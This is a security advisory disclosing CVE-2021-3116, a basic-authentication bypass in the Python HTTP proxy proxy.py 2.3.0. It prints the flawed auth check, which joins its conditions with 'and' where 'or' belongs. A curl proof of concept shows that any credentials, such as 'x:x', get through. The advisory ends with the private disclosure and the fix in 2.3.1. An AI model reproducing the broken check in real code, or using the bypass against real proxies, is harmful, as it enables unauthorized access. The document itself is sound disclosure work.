[CVE-2021-3116] proxy.py 2.3.0 — Broken basic authentication

Andrea Cardaci — 10 January 2021

Discovered 2021-01-09
Author Andrea Cardaci
Product proxy.py
Tested versions 2.3.0
CVE CVE-2021-3116


proxy.py is a feature-rich HTTP proxy server written in Python. Among the other things it allows to spawn a proxy server that enforces HTTP basic access authentication.

A recent refactoring introduced a logic bug that allows to bypass the proxy authentication.


The vulnerable code is located in proxy/http/proxy/auth.py:

def before_upstream_connection(
        self, request: HttpParser) -> Optional[HttpParser]:
    if self.flags.auth_code:
        if b'proxy-authorization' not in request.headers:
            raise ProxyAuthenticationFailed()
        parts = request.headers[b'proxy-authorization'][1].split()
        if len(parts) != 2 \
                and parts[0].lower() != b'basic' \
                and parts[1] != self.flags.auth_code:
            raise ProxyAuthenticationFailed()
    return request

The and operators are wrong here, and it is enough to set one of its operands to False to skip the challenge and bypass the authentication. A valid Proxy-Authorization header (e.g., for user:password) is in the form:

Proxy-Authorization: Basic dXNlcjpwYXNzd29yZA==

So len(parts) is 2, thus any valid header with any credentials works.

Proof of concept

Start proxy.py like:

$ proxy --basic-auth user:password
2021-01-10 19:25:31,183 - pid:73304 [I] load_plugins:334 - Loaded plugin proxy.http.proxy.AuthPlugin
2021-01-10 19:25:31,184 - pid:73304 [I] load_plugins:334 - Loaded plugin proxy.http.proxy.HttpProxyPlugin
2021-01-10 19:25:31,184 - pid:73304 [I] listen:113 - Listening on ::1:8899
2021-01-10 19:25:31,215 - pid:73304 [I] start_workers:136 - Started 8 workers

Trying to use the proxy without credentials correctly yields a proxy authentication error:

$ curl -I -x localhost:8899 http://example.com
HTTP/1.1 407 Proxy Authentication Required
Proxy-agent: proxy.py v2.3.0
Proxy-Authenticate: Basic
Connection: close
Content-Length: 29

But specifying any credentials (e.g., x:x) allows the request to go through:

$ curl -I -x x:x@localhost:8899 http://example.com
HTTP/1.1 200 OK
Content-Encoding: gzip
Accept-Ranges: bytes
Age: 276321
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Sun, 10 Jan 2021 18:31:28 GMT
Etag: "3147526947"
Expires: Sun, 17 Jan 2021 18:31:28 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (bsa/EB23)
X-Cache: HIT
Content-Length: 648


Disclosed privately to the developers as suggested in their SECURITY.md.
The developers implement the fix and release version 2.3.1
MITRE assigns CVE-2021-3116 to this vulnerability.